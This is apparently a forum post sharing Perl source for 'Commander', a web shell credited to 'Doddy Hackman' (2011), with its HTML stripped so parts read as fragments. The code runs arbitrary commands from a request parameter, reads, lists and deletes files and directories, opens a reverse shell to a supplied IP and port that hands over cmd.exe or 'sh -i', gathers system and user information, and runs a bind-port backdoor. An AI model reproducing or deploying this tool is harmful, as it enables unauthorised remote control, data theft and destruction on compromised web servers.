Locked [Perl] Commander

[Doddy]

Commander (C) Doddy Hackman 2011

Commander WebShell";if ($rta{'loadfile'}) {my $file = uri_unescape($rta{'loadfile'});print $jebus "

File ".$file."

";if (-f $file) {print $jebus "";open (FILE,$file);@words = ;close FILE;for (@words) {print $jebus HTML::Entities::encode($_);}print $jebus "

";exit(1);}}print $jebus "

Console

";if ($rta{'cmd'}) {print $jebus qx($rta{'cmd'});}elsif ($rta{'loadir'}) {my $dir = uri_unescape($rta{'loadir'});print "recibi $dir\n\n";if (-d $dir) {opendir DIR,$dir;my @archivos = readdir DIR;close DIR;for(@archivos) {if (-d $_) {print $jebus "".$_."
"; } else {print $jebus $_."
";}}}}elsif ($rta{'delfile'}) {my $file = uri_unescape($rta{'delfile'});if (-f $file) {if (unlink($file)) {print $jebus "";} else {print $jebus "";}}}elsif ($rta{'deldir'}) {my $dir = uri_unescape($rta{'deldir'});if (-d $dir) {if (rmdir($dir)) {print $jebus "";} else {print $jebus "";}}}elsif ($rta{'ipconnect'}) {print $rta{'ipconnect'}."\n";print $rta{'port'}."\n";conectar($rta{'ipconnect'},$rta{'port'});tipo();sub conectar {socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));open (STDIN,">&REVERSE");open (STDOUT,">&REVERSE");open (STDERR,">&REVERSE");}sub tipo {print "\n[*] Reverse Shell Starting...\n\n";if ($^O =~/Win32/ig) {infowin();system("cmd.exe");} else {infolinux();#root(); system("export TERM=xterm;exec sh -i");}}sub infowin {print "[+] Domain Name : ".Win32::DomainName()."\n";print "[+] OS Version : ".Win32::GetOSName()."\n";print "[+] Username : ".Win32::LoginName()."\n\n\n";}sub infolinux {print "[+] System information\n\n";system("uname -a");print "\n\n";}}elsif($rta{'portbind'}) {$backdoor = IO::Socket::INET->new(Proto => 'tcp',LocalPort => $rta{'portbind'},Listen => SOMAXC,Reuse => 1);while ($jesus = $backdoor->accept()) {$jesus->autoflush(1);print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";print $jesus "Welcome ".$jesus->peerhost."\n\n";&extras;$dir = getcwd();print $jesus $dir.">>";while (<$jesus>) {my $yeah = qx($_);print $jesus "\n\n".$yeah."\n\n";print $jesus $dir.">>";}}sub extras {if ($^O =~//ig) {print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";} else {$s = qx("uname -a");print $jesus "--==System Info==--\n\n".$s;}}} else {opendir DIR,getcwd();my @archivos = readdir DIR;close DIR;for(@archivos) {if (-d $_) {print $jebus "".$_."
"; } else {print $jebus $_."
";}}}print $jebus "

Command :
Load directory : Load File : Delete File : Delete Directory :

ReverseShell

Your IP :
Port :



BindPort

Port :